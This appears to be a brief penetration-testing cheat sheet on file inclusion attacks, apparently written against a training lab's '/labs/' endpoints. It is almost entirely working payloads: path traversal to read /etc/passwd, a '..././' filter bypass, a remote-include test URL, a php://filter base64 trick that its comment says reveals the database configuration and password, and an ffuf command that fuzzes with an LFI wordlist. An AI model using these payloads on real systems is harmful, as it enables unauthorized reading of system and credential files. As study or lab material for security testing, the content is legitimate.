# LFI/RFI

```
?=../../../../../../etc/passwd
```

<pre><code><strong># Bypass filter ../
</strong>?=..././..././..././..././..././etc/passwd
</code></pre>

```
?=http://google.com
```

<pre data-overflow="wrap"><code><strong># API
</strong>
/labs/api/fetchRecipe.php?filename=..././..././..././..././..././..././..././etc/passwd 
</code></pre>

<pre><code><strong># It will return db configuration
</strong><strong># With the db password
</strong>/labs/fi0x02.php?filename=php://filter/convert.base64-encode/resource=..././db.php
</code></pre>

{% code overflow="wrap" %}
```
ffuf -request api-req.txt -request-proto http -w /usr/share/wordlists/seclists/SecLists-master/Fuzzing/LFI/LFI-Jhaddix.txt
```
{% endcode %}
